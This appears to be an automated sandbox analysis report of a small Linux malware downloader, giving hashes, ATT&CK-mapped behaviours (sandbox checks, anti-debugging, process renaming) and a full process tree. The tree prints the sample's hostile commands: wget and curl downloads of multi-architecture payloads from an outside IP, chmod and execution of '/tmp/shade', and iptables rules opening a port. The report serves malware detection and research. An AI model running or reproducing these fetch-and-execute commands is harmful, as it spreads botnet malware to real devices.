83dec7cb9fe4d25dc08099908635831f240ea30273f62e81e935fa44d7ac064b

Analysis

max time kernel
149s
max time network
146s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
18/08/2026, 14:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
83dec7cb9fe4d25dc08099908635831f240ea30273f62e81e935fa44d7ac064b
Size 2KB
Sample260818-rcbdsstcqd
SHA256 83dec7cb9fe4d25dc08099908635831f240ea30273f62e81e935fa44d7ac064b
MD5 e5cbe5355a1ddfa75b854b8f802c3c19
SHA1 d5507f96e846e8626bb3b5e899a1b24e9e29ced5
SHA512 e4f5d1f75706479ebc884ba6a6104c97cc64dec9f8663a5ca0a99b0129e6ad7c3c701d29b4957a6ab21af894f82e3d64eb8cecb9ddffa9ad171d480c5eb4349a
TLSH
T17D41E6CF139643762E62992736F6A948368E91E550C36E0461ED74F081FDE867881EB3
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
885	chmod
923	chmod
717	chmod
769	chmod
785	chmod
829	chmod
905	chmod
803	chmod
845	chmod
863	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/shade	718	83dec7cb9fe4d25dc08099908635831f240ea30273f62e81e935fa44d7ac064b
/tmp/shade	770	83dec7cb9fe4d25dc08099908635831f240ea30273f62e81e935fa44d7ac064b
/tmp/shade	786	83dec7cb9fe4d25dc08099908635831f240ea30273f62e81e935fa44d7ac064b
/tmp/shade	804	83dec7cb9fe4d25dc08099908635831f240ea30273f62e81e935fa44d7ac064b
/tmp/shade	830	83dec7cb9fe4d25dc08099908635831f240ea30273f62e81e935fa44d7ac064b
/tmp/shade	846	83dec7cb9fe4d25dc08099908635831f240ea30273f62e81e935fa44d7ac064b
/tmp/shade	864	83dec7cb9fe4d25dc08099908635831f240ea30273f62e81e935fa44d7ac064b
/tmp/shade	886	83dec7cb9fe4d25dc08099908635831f240ea30273f62e81e935fa44d7ac064b
/tmp/shade	906	83dec7cb9fe4d25dc08099908635831f240ea30273f62e81e935fa44d7ac064b
/tmp/shade	924	83dec7cb9fe4d25dc08099908635831f240ea30273f62e81e935fa44d7ac064b

Traces itself 10 IoCs

Traces itself to prevent debugging attempts

pid	Process
718	shade
770	shade
786	shade
804	shade
830	shade
846	shade
864	shade
886	shade
906	shade
924	shade

Unexpected DNS network traffic destination 35 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	178.254.22.166
Destination IP	51.254.162.59
Destination IP	91.217.137.37
Destination IP	51.77.149.139
Destination IP	51.158.108.203
Destination IP	51.158.108.203
Destination IP	178.254.22.166
Destination IP	195.10.195.195
Destination IP	178.254.22.166
Destination IP	51.254.162.59
Destination IP	91.217.137.37
Destination IP	51.158.108.203
Destination IP	94.16.114.254
Destination IP	94.16.114.254
Destination IP	51.254.162.59
Destination IP	178.254.22.166
Destination IP	178.254.22.166
Destination IP	178.254.22.166
Destination IP	194.36.144.87
Destination IP	51.254.162.59
Destination IP	91.217.137.37
Destination IP	91.217.137.37
Destination IP	178.254.22.166
Destination IP	94.16.114.254
Destination IP	51.158.108.203
Destination IP	178.254.22.166
Destination IP	94.16.114.254
Destination IP	94.16.114.254
Destination IP	91.217.137.37
Destination IP	51.158.108.203
Destination IP	178.254.22.166
Destination IP	178.254.22.166
Destination IP	134.195.4.2
Destination IP	134.195.4.2
Destination IP	51.254.162.59

Enumerates active TCP sockets 1 TTPs 10 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	shade
File opened for reading	/proc/net/tcp	shade
File opened for reading	/proc/net/tcp	shade
File opened for reading	/proc/net/tcp	shade
File opened for reading	/proc/net/tcp	shade
File opened for reading	/proc/net/tcp	shade
File opened for reading	/proc/net/tcp	shade
File opened for reading	/proc/net/tcp	shade
File opened for reading	/proc/net/tcp	shade
File opened for reading	/proc/net/tcp	shade

Changes its process name 9 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	/bin/bash	718	shade
Changes the process name, possibly in an attempt to hide itself	/bin/bash	770	shade
Changes the process name, possibly in an attempt to hide itself	/bin/bash	786	shade
Changes the process name, possibly in an attempt to hide itself	/bin/bash	804	shade
Changes the process name, possibly in an attempt to hide itself	/bin/bash	830	shade
Changes the process name, possibly in an attempt to hide itself	/bin/bash	846	shade
Changes the process name, possibly in an attempt to hide itself	/bin/bash	864	shade
Changes the process name, possibly in an attempt to hide itself	/bin/bash	886	shade
Changes the process name, possibly in an attempt to hide itself	/bin/bash	906	shade

Checks CPU configuration 1 TTPs 20 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	shade
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	shade
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	shade
File opened for reading	/proc/cpuinfo	shade
File opened for reading	/proc/cpuinfo	shade
File opened for reading	/proc/cpuinfo	shade
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	shade
File opened for reading	/proc/cpuinfo	shade
File opened for reading	/proc/cpuinfo	shade
File opened for reading	/proc/cpuinfo	shade
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads system network configuration 1 TTPs 10 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	shade
File opened for reading	/proc/net/tcp	shade
File opened for reading	/proc/net/tcp	shade
File opened for reading	/proc/net/tcp	shade
File opened for reading	/proc/net/tcp	shade
File opened for reading	/proc/net/tcp	shade
File opened for reading	/proc/net/tcp	shade
File opened for reading	/proc/net/tcp	shade
File opened for reading	/proc/net/tcp	shade
File opened for reading	/proc/net/tcp	shade

Reads runtime system information 45 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/kernel/osrelease	shade
File opened for reading	/proc/sys/kernel/osrelease	shade
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/kernel/osrelease	shade
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/kernel/osrelease	shade
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/kernel/osrelease	shade
File opened for reading	/proc/stat	shade
File opened for reading	/proc/self/status	shade
File opened for reading	/proc/sys/kernel/osrelease	shade
File opened for reading	/proc/self/status	shade
File opened for reading	/proc/stat	shade
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/kernel/osrelease	shade
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/kernel/osrelease	shade
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/status	shade
File opened for reading	/proc/stat	shade
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/status	shade
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/status	shade
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/status	shade
File opened for reading	/proc/sys/kernel/osrelease	shade
File opened for reading	/proc/stat	shade
File opened for reading	/proc/stat	shade
File opened for reading	/proc/self/status	shade
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/status	shade
File opened for reading	/proc/self/status	shade
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/status	shade
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/kernel/osrelease	shade

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
832	wget
844	curl

Writes file to tmp directory 21 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/arm	wget
File opened for modification	/tmp/arm	curl
File opened for modification	/tmp/shade	83dec7cb9fe4d25dc08099908635831f240ea30273f62e81e935fa44d7ac064b
File opened for modification	/tmp/arm6	curl
File opened for modification	/tmp/m68k	curl
File opened for modification	/tmp/ppc	wget
File opened for modification	/tmp/ppc440	wget
File opened for modification	/tmp/arm5	curl
File opened for modification	/tmp/arm6	wget
File opened for modification	/tmp/mips	wget
File opened for modification	/tmp/mpsl	wget
File opened for modification	/tmp/sh4	wget
File opened for modification	/tmp/arm7	wget
File opened for modification	/tmp/arm7	curl
File opened for modification	/tmp/m68k	wget
File opened for modification	/tmp/ppc440	curl
File opened for modification	/tmp/sh4	curl
File opened for modification	/tmp/arm5	wget
File opened for modification	/tmp/mpsl	curl
File opened for modification	/tmp/ppc	curl
File opened for modification	/tmp/mips	curl

/tmp/83dec7cb9fe4d25dc08099908635831f240ea30273f62e81e935fa44d7ac064b
/tmp/83dec7cb9fe4d25dc08099908635831f240ea30273f62e81e935fa44d7ac064b
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:642
- /usr/bin/wget
  wget http://91.192.81.41:8080/arm
  2⤵
  - Writes file to tmp directory
  PID:644
- /usr/bin/curl
  curl -O http://91.192.81.41:8080/arm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:675
- /bin/cat
  cat arm
  2⤵
  PID:716
- /bin/chmod
  chmod +x 83dec7cb9fe4d25dc08099908635831f240ea30273f62e81e935fa44d7ac064b arm shade systemd-private-f3169b4ddf9c4cf28915317111dcdafc-systemd-timedated.service-RHzBoe
  2⤵
  - File and Directory Permissions Modification
  PID:717
- /tmp/shade
  ./shade
  2⤵
  - Traces itself
  - Enumerates active TCP sockets
  - Changes its process name
  - Checks CPU configuration
  - Reads system network configuration
  - Reads runtime system information
  PID:718
- - /bin/sh
    sh -c "iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:722
  - - /sbin/iptables
      iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:723
- - /bin/sh
    sh -c "/bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:728
  - - /bin/busybox
      /bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:729
- - /bin/sh
    sh -c "/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:730
  - - /bin/iptables
      /bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:731
- - /bin/sh
    sh -c "/usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:732
  - - /usr/bin/iptables
      /usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:733
- - /bin/sh
    sh -c "busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:734
  - - /bin/busybox
      busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:735
- /usr/bin/wget
  wget http://91.192.81.41:8080/arm5
  2⤵
  - Writes file to tmp directory
  PID:720
- /usr/bin/curl
  curl -O http://91.192.81.41:8080/arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:766
- /bin/chmod
  chmod +x 83dec7cb9fe4d25dc08099908635831f240ea30273f62e81e935fa44d7ac064b arm arm5 shade systemd-private-f3169b4ddf9c4cf28915317111dcdafc-systemd-timedated.service-RHzBoe
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/shade
  ./shade
  2⤵
  - Traces itself
  - Enumerates active TCP sockets
  - Changes its process name
  - Checks CPU configuration
  - Reads system network configuration
  - Reads runtime system information
  PID:770
- - /bin/sh
    sh -c "iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:774
  - - /sbin/iptables
      iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:775
- - /bin/sh
    sh -c "/bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:776
  - - /bin/busybox
      /bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:777
- - /bin/sh
    sh -c "/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:778
  - - /bin/iptables
      /bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:779
- - /bin/sh
    sh -c "/usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:780
  - - /usr/bin/iptables
      /usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:781
- - /bin/sh
    sh -c "busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:782
  - - /bin/busybox
      busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:783
- /usr/bin/wget
  wget http://91.192.81.41:8080/arm6
  2⤵
  - Writes file to tmp directory
  PID:772
- /usr/bin/curl
  curl -O http://91.192.81.41:8080/arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:784
- /bin/chmod
  chmod +x 83dec7cb9fe4d25dc08099908635831f240ea30273f62e81e935fa44d7ac064b arm arm5 arm6 shade systemd-private-f3169b4ddf9c4cf28915317111dcdafc-systemd-timedated.service-RHzBoe
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/shade
  ./shade
  2⤵
  - Traces itself
  - Enumerates active TCP sockets
  - Changes its process name
  - Checks CPU configuration
  - Reads system network configuration
  - Reads runtime system information
  PID:786
- - /bin/sh
    sh -c "iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:792
  - - /sbin/iptables
      iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:793
- - /bin/sh
    sh -c "/bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:794
  - - /bin/busybox
      /bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:795
- - /bin/sh
    sh -c "/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:796
  - - /bin/iptables
      /bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:797
- - /bin/sh
    sh -c "/usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:798
  - - /usr/bin/iptables
      /usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:799
- - /bin/sh
    sh -c "busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:800
  - - /bin/busybox
      busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:801
- /usr/bin/wget
  wget http://91.192.81.41:8080/arm7
  2⤵
  - Writes file to tmp directory
  PID:790
- /usr/bin/curl
  curl -O http://91.192.81.41:8080/arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:802
- /bin/chmod
  chmod +x 83dec7cb9fe4d25dc08099908635831f240ea30273f62e81e935fa44d7ac064b arm arm5 arm6 arm7 shade systemd-private-f3169b4ddf9c4cf28915317111dcdafc-systemd-timedated.service-RHzBoe
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/shade
  ./shade
  2⤵
  - Traces itself
  - Enumerates active TCP sockets
  - Changes its process name
  - Checks CPU configuration
  - Reads system network configuration
  - Reads runtime system information
  PID:804
- - /bin/sh
    sh -c "iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:816
  - - /sbin/iptables
      iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:817
- - /bin/sh
    sh -c "/bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:818
  - - /bin/busybox
      /bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:819
- - /bin/sh
    sh -c "/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:820
  - - /bin/iptables
      /bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:821
- - /bin/sh
    sh -c "/usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:822
  - - /usr/bin/iptables
      /usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:823
- - /bin/sh
    sh -c "busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:824
  - - /bin/busybox
      busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:825
- /usr/bin/wget
  wget http://91.192.81.41:8080/m68k
  2⤵
  - Writes file to tmp directory
  PID:814
- /usr/bin/curl
  curl -O http://91.192.81.41:8080/m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:826
- /bin/chmod
  chmod +x 83dec7cb9fe4d25dc08099908635831f240ea30273f62e81e935fa44d7ac064b arm arm5 arm6 arm7 m68k shade
  2⤵
  - File and Directory Permissions Modification
  PID:829
- /tmp/shade
  ./shade
  2⤵
  - Traces itself
  - Enumerates active TCP sockets
  - Changes its process name
  - Checks CPU configuration
  - Reads system network configuration
  - Reads runtime system information
  PID:830
- - /bin/sh
    sh -c "iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:834
  - - /sbin/iptables
      iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:835
- - /bin/sh
    sh -c "/bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:836
  - - /bin/busybox
      /bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:837
- - /bin/sh
    sh -c "/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:838
  - - /bin/iptables
      /bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:839
- - /bin/sh
    sh -c "/usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:840
  - - /usr/bin/iptables
      /usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:841
- - /bin/sh
    sh -c "busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:842
  - - /bin/busybox
      busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:843
- /usr/bin/wget
  wget http://91.192.81.41:8080/mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:832
- /usr/bin/curl
  curl -O http://91.192.81.41:8080/mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:844
- /bin/chmod
  chmod +x 83dec7cb9fe4d25dc08099908635831f240ea30273f62e81e935fa44d7ac064b arm arm5 arm6 arm7 m68k mips shade
  2⤵
  - File and Directory Permissions Modification
  PID:845
- /tmp/shade
  ./shade
  2⤵
  - Traces itself
  - Enumerates active TCP sockets
  - Changes its process name
  - Checks CPU configuration
  - Reads system network configuration
  - Reads runtime system information
  PID:846
- - /bin/sh
    sh -c "iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:852
  - - /sbin/iptables
      iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:853
- - /bin/sh
    sh -c "/bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:854
  - - /bin/busybox
      /bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:855
- - /bin/sh
    sh -c "/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:856
  - - /bin/iptables
      /bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:857
- - /bin/sh
    sh -c "/usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:858
  - - /usr/bin/iptables
      /usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:859
- - /bin/sh
    sh -c "busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:860
  - - /bin/busybox
      busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:861
- /usr/bin/wget
  wget http://91.192.81.41:8080/mpsl
  2⤵
  - Writes file to tmp directory
  PID:850
- /usr/bin/curl
  curl -O http://91.192.81.41:8080/mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:862
- /bin/chmod
  chmod +x 83dec7cb9fe4d25dc08099908635831f240ea30273f62e81e935fa44d7ac064b arm arm5 arm6 arm7 m68k mips mpsl shade
  2⤵
  - File and Directory Permissions Modification
  PID:863
- /tmp/shade
  ./shade
  2⤵
  - Traces itself
  - Enumerates active TCP sockets
  - Changes its process name
  - Checks CPU configuration
  - Reads system network configuration
  - Reads runtime system information
  PID:864
- - /bin/sh
    sh -c "iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:872
  - - /sbin/iptables
      iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:873
- - /bin/sh
    sh -c "/bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:874
  - - /bin/busybox
      /bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:875
- - /bin/sh
    sh -c "/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:876
  - - /bin/iptables
      /bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:877
- - /bin/sh
    sh -c "/usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:878
  - - /usr/bin/iptables
      /usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:879
- - /bin/sh
    sh -c "busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:880
  - - /bin/busybox
      busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:881
- /usr/bin/wget
  wget http://91.192.81.41:8080/ppc
  2⤵
  - Writes file to tmp directory
  PID:870
- /usr/bin/curl
  curl -O http://91.192.81.41:8080/ppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:884
- /bin/chmod
  chmod +x 83dec7cb9fe4d25dc08099908635831f240ea30273f62e81e935fa44d7ac064b arm arm5 arm6 arm7 m68k mips mpsl ppc shade
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/shade
  ./shade
  2⤵
  - Traces itself
  - Enumerates active TCP sockets
  - Changes its process name
  - Checks CPU configuration
  - Reads system network configuration
  - Reads runtime system information
  PID:886
- - /bin/sh
    sh -c "iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:894
  - - /sbin/iptables
      iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:895
- - /bin/sh
    sh -c "/bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:896
  - - /bin/busybox
      /bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:897
- - /bin/sh
    sh -c "/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:898
  - - /bin/iptables
      /bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:899
- - /bin/sh
    sh -c "/usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:900
  - - /usr/bin/iptables
      /usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:901
- - /bin/sh
    sh -c "busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:902
  - - /bin/busybox
      busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:903
- /usr/bin/wget
  wget http://91.192.81.41:8080/ppc440
  2⤵
  - Writes file to tmp directory
  PID:892
- /usr/bin/curl
  curl -O http://91.192.81.41:8080/ppc440
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:904
- /bin/chmod
  chmod +x 83dec7cb9fe4d25dc08099908635831f240ea30273f62e81e935fa44d7ac064b arm arm5 arm6 arm7 m68k mips mpsl ppc ppc440 shade
  2⤵
  - File and Directory Permissions Modification
  PID:905
- /tmp/shade
  ./shade
  2⤵
  - Traces itself
  - Enumerates active TCP sockets
  - Changes its process name
  - Checks CPU configuration
  - Reads system network configuration
  - Reads runtime system information
  PID:906
- - /bin/sh
    sh -c "iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:912
  - - /sbin/iptables
      iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:913
- - /bin/sh
    sh -c "/bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:914
  - - /bin/busybox
      /bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:915
- - /bin/sh
    sh -c "/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:916
  - - /bin/iptables
      /bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:917
- - /bin/sh
    sh -c "/usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:918
  - - /usr/bin/iptables
      /usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:919
- - /bin/sh
    sh -c "busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT"
    3⤵
    PID:920
  - - /bin/busybox
      busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
      4⤵
      PID:921
- /usr/bin/wget
  wget http://91.192.81.41:8080/sh4
  2⤵
  - Writes file to tmp directory
  PID:910
- /usr/bin/curl
  curl -O http://91.192.81.41:8080/sh4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:922
- /bin/chmod
  chmod +x 83dec7cb9fe4d25dc08099908635831f240ea30273f62e81e935fa44d7ac064b arm arm5 arm6 arm7 m68k mips mpsl ppc ppc440 sh4 shade
  2⤵
  - File and Directory Permissions Modification
  PID:923
- /tmp/shade
  ./shade
  2⤵
  - Traces itself
  - Enumerates active TCP sockets
  - Checks CPU configuration
  - Reads system network configuration
  - Reads runtime system information
  PID:924

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

arm

Path /tmp/arm
Size 229KB
SHA256 695005a1aaf472198c2d3df080043d3e054324fb87c229392e81f49d6bb8f012
MD5 a5b3b1903b5c197f32c12fdc50140799
SHA1 3a66dd67cc6b95fce4145640b1ff43758a1e5ce8
SHA512 56771721bc588b860002d7704bc1af7d31699aa5018dda839e5c756131d6485af2efbdac29f784ac295561609f5bd3804ea8bb41c6644966063f821865e0246f
SSDEEP 6144:XAUxYPpsZDff/aj4s7fjOyCS7QuyrnmW2hVDZI0/16O7Nc:XtxfZrf/a57bOyr2nmW2hVD60/16O7Nc
TLSH
T1F0341902A8528A53C5C21B79BB5F46593733AB34D3DB7302DA18AFB42F476DE0E3A511
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm5

Path /tmp/arm5
Size 213KB
SHA256 01ad83259b71747b8f1c484a40ed33e015678ec39e223e9a9b60169e79a03fd6
MD5 d389e30d6fe8cf20641a21c3b444ca09
SHA1 f2b9b1e3b04b546de81e2088c45d49f2276d580c
SHA512 6336e0527d3fccf05b268d00a4bdb40258f3a935a191661509f5b6112fff83f75f877b05e0ef745984911639a43f36e3a334aa7eec1eb429191712bfffaea09b
SSDEEP 6144:TlTTn3UqxAniWSPFJhlHzy+KJKHtEqZ06L18Hts1QS1:TlT7HxA2NJDHFKJKHtEqC6L18Hts1QS1
TLSH
